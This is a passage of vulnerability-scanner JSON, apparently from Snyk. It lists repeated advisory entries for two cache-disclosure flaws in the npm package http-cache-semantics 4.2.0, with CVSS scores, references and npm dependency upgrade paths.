"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
